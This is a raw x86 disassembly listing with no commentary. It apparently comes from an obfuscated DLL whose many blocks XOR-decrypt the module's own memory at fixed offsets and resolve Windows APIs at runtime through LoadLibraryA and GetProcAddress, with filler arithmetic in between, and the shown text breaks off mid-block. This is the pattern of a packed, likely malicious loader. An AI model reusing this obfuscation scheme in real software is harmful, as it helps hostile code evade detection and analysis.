xor eax, 0xdccecc38
mov dword [ecx], eax
mov eax, dword [0x10103e60]
xor eax, 0x39260139
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4710]
add eax, 0x261f4
xor eax, dword [ecx]
xor eax, 0xdccead38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15940]
add eax, 0x14a1e
xor eax, dword [ecx]
xor eax, 0xdccd86d2
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cde1]
add eax, 0x1ceb0
xor eax, dword [ecx]
xor eax, 0xdccd027c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23ff8]
add eax, 0x23ec8
xor eax, dword [ecx]
xor eax, 0xdccef204
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa17d]
add eax, 0x20128
xor eax, dword [ecx]
push 0x1010746d
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x101062e4]
mov ecx, dword [esp + 0x24]
add eax, ecx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10105368]
mov dword [0x10105368], ecx
lea ecx, [eax + 0xa463c]
add eax, 0x27748
xor eax, dword [ecx]
push ebp
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3706c]
add eax, 0x31f80
xor eax, dword [ecx]
xor eax, 0xdccfd34c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37134]
add eax, 0x2b418
xor eax, dword [ecx]
xor eax, 0xdcce78d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x101062e0]
mov dword [esp + 0x1c], ecx
lea ecx, [eax + 0x19e51]
add eax, 0x3630c
xor eax, dword [ecx]
xor eax, 0xdccfafc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x195ba]
add eax, 0x362c0
xor eax, dword [ecx]
xor eax, 0xdccfae0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa439c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8dc5]
add eax, 0x20014
xor eax, dword [ecx]
xor eax, 0xdcceccd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f4ac]
add eax, 0x33e64
xor eax, dword [ecx]
xor eax, 0xdccff2a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33548]
add eax, 0xa4a50
xor eax, dword [ecx]
xor eax, 0xdcc6869c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20054
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9b6a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e278]
add eax, 0x1df8c
xor eax, dword [ecx]
push 0x10107a6e
xor eax, 0xdccd1340
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc8e9]
add eax, 0x28c04
xor eax, dword [ecx]
push ebp
xor eax, 0xdcce40c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201e4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9a90
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb8ac]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24edc]
add eax, 0x1a40
xor eax, dword [ecx]
xor eax, 0xdcccd68c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ed8]
add eax, 0x17a0
xor eax, dword [ecx]
xor eax, 0xdcccdb6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10790]
add eax, 0x2009c
xor eax, dword [ecx]
xor eax, 0xdccecc50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11231]
mov edx, eax
and edx, dword [0x10103e60]
add eax, 0x200ec
xor eax, dword [ecx]
mov dword [esp + 0x20], edx
xor eax, 0xdccecc20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9d38]
add eax, 0xa5a18
xor eax, dword [ecx]
xor eax, 0xdcc696d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d66]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cf08]
add eax, 0x1cf28
xor eax, dword [ecx]
xor eax, 0xdccd03e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19864]
add eax, 0xa90ec
xor eax, dword [ecx]
xor eax, 0xdcc65c20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240e4]
add eax, 0x23b28
xor eax, dword [ecx]
xor eax, 0xdccef7e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x117c6]
add eax, 0x32408
xor eax, dword [ecx]
xor eax, 0xdccfe8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x745e]
add eax, 0x27a2c
xor eax, dword [ecx]
xor eax, 0xdcceb6e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24060]
add eax, 0x23e64
xor eax, dword [ecx]
xor eax, 0xdccef2a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33dec]
add eax, 0xa923
xor eax, dword [ecx]
xor eax, 0xdccc65ef
mov dword [ecx], eax
mov eax, dword [0x10103e60]
xor eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3cac]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5ba1]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x128d3]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18bc0]
add eax, 0x361f8
xor eax, dword [ecx]
xor eax, 0xdccfad34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa488c]
add eax, 0xa0738
xor eax, dword [ecx]
xor eax, 0xdcc6cbf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10105abc]
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x2d68]
add eax, 0x23048
xor eax, dword [ecx]
xor eax, 0xdccefc84
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x101062e4], 0
lea ecx, [eax + 0x8180]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46f8]
add eax, 0x26220
xor eax, dword [ecx]
push 0x10107fed
xor eax, 0xdcceaeec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19bbd]
add eax, 0xa5088
xor eax, dword [ecx]
xor eax, 0xdcc69c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa318]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d38]
add eax, 0x32cc0
xor eax, dword [ecx]
xor eax, 0xdccfe00c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e24]
add eax, 0x5bce0
xor eax, dword [ecx]
xor eax, 0xdcc9702c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, edx
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x14096]
add eax, 0xa5a60
xor eax, dword [ecx]
xor eax, 0xdcc696ac
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x40], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x51ce]
add eax, 0x2008c
xor eax, dword [ecx]
mov edx, 0xdcc696c4
xor eax, 0xdccecc40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa327]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37058]
add eax, 0x32084
xor eax, dword [ecx]
xor eax, 0xdccfec48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6420]
add eax, 0x230e8
xor eax, dword [ecx]
xor eax, 0xdccefc24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x160d7]
add eax, 0x15a7c
xor eax, dword [ecx]
xor eax, 0xdccd96b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x101062e0], 0
lea ecx, [eax + 0x4a1a]
add eax, 0x25998
xor eax, dword [ecx]
xor eax, 0xdcce9554
mov dword [ecx], eax
mov eax, dword [0x10103e64]
imul eax, dword [esp + 0x14]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32fc0]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, 0xdccfe308
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x59d2]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe779]
add eax, 0x37160
xor eax, dword [ecx]
xor eax, 0xdccfbdac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4278]
add eax, 0x268b8
xor eax, dword [ecx]
xor eax, 0xdccea474
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2e47]
add eax, 0x254fc
xor eax, dword [ecx]
xor eax, 0xdcce9830
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
imul eax, eax, 0xebac7a30
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254b8]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x101062e4]
imul eax, dword [0x1010536c]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16b17]
add eax, 0x21408
xor eax, dword [ecx]
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x101062e0]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x12a22]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa1bf]
add eax, 0x20118
xor eax, dword [ecx]
xor eax, 0xdccecdd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3707c]
add eax, 0x31f08
xor eax, dword [ecx]
xor eax, 0xdccfd3c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18a60]
add eax, 0x36530
xor eax, dword [ecx]
xor eax, 0xdccfa9fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xedd5]
add eax, 0x202c8
xor eax, dword [ecx]
xor eax, 0xdccece04
mov dword [ecx], eax
mov eax, 0xcdd4d723
sub eax, dword [esp + 0x14]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36520]
add eax, 0x24808
xor eax, dword [ecx]
xor eax, 0xdcce84c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a08]
add eax, 0x335a0
xor eax, dword [ecx]
xor eax, 0xdccff96c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32abc]
add eax, 0x13050
xor eax, dword [ecx]
xor eax, 0xdccdfc9c
mov dword [ecx], eax
mov eax, dword [0x10105abc]
or eax, 0x5f27d379
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33bd8]
add eax, 0x182f7
xor eax, dword [ecx]
xor eax, 0xdccd4e3b
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334f0]
add eax, 0x334fc
xor eax, dword [ecx]
xor eax, 0xdccff830
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
sub eax, dword [0x101062e4]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25520]
add eax, 0x2da0
xor eax, dword [ecx]
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193ab]
add eax, 0xa90f0
xor eax, dword [ecx]
xor eax, 0xdcc65c3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf95b]
add eax, 0x290a8
xor eax, dword [ecx]
xor eax, 0xdcce5c64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1842c]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20ec0]
add eax, 0x20e78
xor eax, dword [ecx]
xor eax, 0xdccec2b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fa8]
add eax, 0x26e50
xor eax, dword [ecx]
xor eax, 0xdccea29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25494]
add eax, 0x3400
xor eax, dword [ecx]
xor eax, 0xdcccf8cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc225]
add eax, 0x24d6c
xor eax, dword [ecx]
push 0x101077f8
xor eax, 0xdcce81a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa5b9]
add eax, 0xa5a08
xor eax, dword [ecx]
push ebp
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a50]
add eax, 0x12fe0
xor eax, dword [ecx]
xor eax, 0xdccde32c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x875f]
add eax, 0x20014
xor eax, dword [ecx]
xor eax, 0xdcceccd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d4a]
add eax, 0xa8fd0
xor eax, dword [ecx]
xor eax, 0xdcc6431c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4f84f1c0]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xac98]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f5c]
add eax, 0x73268
xor eax, dword [ecx]
xor eax, 0xdccbfea4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20144
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8278
mov dword [eax], ecx
mov ecx, dword [0x10106ae8]
mov eax, dword [0x10105368]
add eax, ecx
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11bd7]
add eax, 0x324a0
xor eax, dword [ecx]
xor eax, 0xdccfe86c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc3a9]
add eax, 0x24d74
xor eax, dword [ecx]
xor eax, 0xdcce81b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1738]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105368]
mov dword [0x10106ae8], ecx
mov edx, 0xff5a2436
sub edx, ecx
lea ecx, [eax + 0xa3a98]
add eax, 0x27708
mov dword [0x10105abc], edx
xor eax, dword [ecx]
xor eax, 0xdccebbc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb512]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd6c]
add eax, 0x1cd88
xor eax, dword [ecx]
xor eax, 0xdccd0144
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c0]
add eax, 0x202c8
xor eax, dword [ecx]
xor eax, 0xdccece04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b68]
add eax, 0x32b34
xor eax, dword [ecx]
xor eax, 0xdccfe7f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1596c]
add eax, 0x151bf
xor eax, dword [ecx]
xor eax, 0xdccd9d73
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf8c6]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9a63]
add eax, 0x20364
xor eax, dword [ecx]
xor eax, 0xdccecfa8
mov dword [ecx], eax
mov eax, dword [0x10105368]
imul eax, dword [esp + 0x14]
mov dword [0x10105ab8], eax
mov eax, dword [0x10105abc]
and eax, dword [esp + 0x20]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32970]
add eax, 0x134b0
xor eax, dword [ecx]
xor eax, 0xdccdf87c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e09]
add eax, 0x1f74b
xor eax, dword [ecx]
xor eax, 0xdccd3b87
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17c8a]
add eax, 0x231e4
xor eax, dword [ecx]
xor eax, 0xdccefd28
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, eax
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x33620]
add eax, 0x33834
xor eax, dword [ecx]
xor eax, 0xdccff4f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaa4c]
add eax, 0x20134
xor eax, dword [ecx]
xor eax, 0xdccecdf8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a84]
add eax, 0x2777c
xor eax, dword [ecx]
xor eax, 0xdccebbb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24088]
add eax, 0x23da0
xor eax, dword [ecx]
xor eax, 0xdccef16c
mov dword [ecx], eax
mov eax, dword [0x10105368]
or eax, 0x8bfa8d36
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b24]
add eax, 0x24978
xor eax, dword [ecx]
xor eax, 0xdcce85b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf11d]
add eax, 0x29074
xor eax, dword [ecx]
xor eax, 0xdcce5cb8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9dc0]
add eax, 0x200a0
xor eax, dword [ecx]
xor eax, 0xdccecc6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4054]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370e4]
add eax, 0x316b0
xor eax, dword [ecx]
xor eax, 0xdccfda7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f39]
add eax, 0x24e78
xor eax, dword [ecx]
xor eax, 0xdcce82b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a10]
add eax, 0x335f0
xor eax, dword [ecx]
xor eax, 0xdccff93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329b4]
add eax, 0x130f0
xor eax, dword [ecx]
xor eax, 0xdccdfc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf7ad]
add eax, 0x202cc
xor eax, dword [ecx]
xor eax, 0xdccece00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x889c]
add eax, 0x27c30
xor eax, dword [ecx]
xor eax, 0xdcceb0fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5154]
add eax, 0xa59f4
xor eax, dword [ecx]
xor eax, 0xdcc69538
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240c4]
add eax, 0x23c34
xor eax, dword [ecx]
xor eax, 0xdccef0f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11d9a]
add eax, 0x324b0
xor eax, dword [ecx]
xor eax, 0xdccfe87c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19c76]
add eax, 0x201ec
xor eax, dword [ecx]
xor eax, 0xdccecd20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34374]
add eax, 0x1e58a
xor eax, dword [ecx]
xor eax, 0xdccd2946
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7c0]
add eax, 0xa59e4
xor eax, dword [ecx]
xor eax, 0xdcc69528
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x18]
or ecx, 0x1cd814ea
add ecx, eax
mov edx, ecx
lea ecx, [eax + 0x146c5]
add eax, 0x20e14
xor eax, dword [ecx]
xor eax, 0xdccec2d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10ec7]
add eax, 0x32360
xor eax, dword [ecx]
xor eax, 0xdccfefac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37030]
add eax, 0x32284
xor eax, dword [ecx]
xor eax, 0xdccfee48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25e6]
add eax, 0x251e8
xor eax, dword [ecx]
xor eax, 0xdcce9d24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13711]
add eax, 0x279f4
xor eax, dword [ecx]
xor eax, 0xdcceb538
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fe4]
add eax, 0x42a0
xor eax, dword [ecx]
xor eax, 0xdccc8e6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, edx
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x34328]
add eax, 0x1f830
xor eax, dword [ecx]
push 0x10107fca
xor eax, 0xdccd34fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33d7c]
add eax, 0x1ca3b
xor eax, dword [ecx]
xor eax, 0xdccd06f7
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1787e]
add eax, 0x17884
xor eax, dword [ecx]
xor eax, 0xdccdb448
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x182ca]
add eax, 0x36450
xor eax, dword [ecx]
xor eax, 0xdccfa89c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xad53]
add eax, 0x27f08
xor eax, dword [ecx]
xor eax, 0xdcceb3c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33584]
add eax, 0xa4b6c
xor eax, dword [ecx]
xor eax, 0xdcc687a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4904]
add eax, 0xa29c0
xor eax, dword [ecx]
xor eax, 0xdcc6e50c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d141]
add eax, 0x36b74
xor eax, dword [ecx]
xor eax, 0xdccfa7b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb797]
add eax, 0x25694
xor eax, dword [ecx]
xor eax, 0xdcce9a58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3349c]
add eax, 0x32c74
xor eax, dword [ecx]
xor eax, 0xdccfe0b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4560]
add eax, 0x263a0
xor eax, dword [ecx]
xor eax, 0xdcceaf6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbe56]
add eax, 0x28754
xor eax, dword [ecx]
xor eax, 0xdcce4b98
mov dword [ecx], eax
mov eax, dword [0x10103e64]
xor eax, 0xe1fe7b42
mov dword [0x10106ae8], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x30], eax
mov eax, dword [0x1010536c]
sub eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32acc]
add eax, 0x13cb0
xor eax, dword [ecx]
push 0x10107ab2
xor eax, 0xdccdf07c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201f0
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x1c], 0x246
xor ecx, 0xcccf9a6a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x104cb]
add eax, 0x28674
xor eax, dword [ecx]
xor eax, 0xdcce4ab8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f5ac]
add eax, 0x33fdc
xor eax, dword [ecx]
xor eax, 0xdccff310
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11677]
add eax, 0x323e8
xor eax, dword [ecx]
xor eax, 0xdccfef24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33574]
add eax, 0x335f0
xor eax, dword [ecx]
xor eax, 0xdccff93c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
sub dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18036]
add eax, 0xa4c14
xor eax, dword [ecx]
xor eax, 0xdcc680d8
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x101062e0]
push dword [0x10103e64]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x100268f6
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bb72]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b43c]
add eax, 0x36448
xor eax, dword [ecx]
xor eax, 0xdccfa884
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33888]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, 0xdccfa26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bb85]
add eax, 0x2008c
xor eax, dword [ecx]
xor eax, 0xdccecc40
mov dword [ecx], eax
mov eax, dword [0x10105abc]
imul eax, dword [0x1010536c]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16bd2]
add eax, 0x21c08
xor eax, dword [ecx]
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov ecx, dword [0x10107300]
lea eax, [ecx + 0x1c9ed]
mov edx, dword [eax]
xor edx, ecx
xor edx, 0xdccccccc
mov dword [eax], edx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a60]
add eax, 0x21808
xor eax, dword [ecx]
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25510]
add eax, 0x3330
xor eax, dword [ecx]
xor eax, 0xdcccfffc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29064]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47b8]
add eax, 0x27038
xor eax, dword [ecx]
xor eax, 0xdccebcf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x20]
add ecx, eax
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x33f10]
add eax, 0x1f520
xor eax, dword [ecx]
xor eax, 0xdccd39ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36acc]
add eax, 0x24a00
xor eax, dword [ecx]
xor eax, 0xdcce86cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa217]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183b7]
add eax, 0xa4c08
xor eax, dword [ecx]
xor eax, 0xdcc680c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36204]
add eax, 0x2378c
xor eax, dword [ecx]
xor eax, 0xdccefb40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341f4]
add eax, 0x1f712
xor eax, dword [ecx]
xor eax, 0xdccd3bde
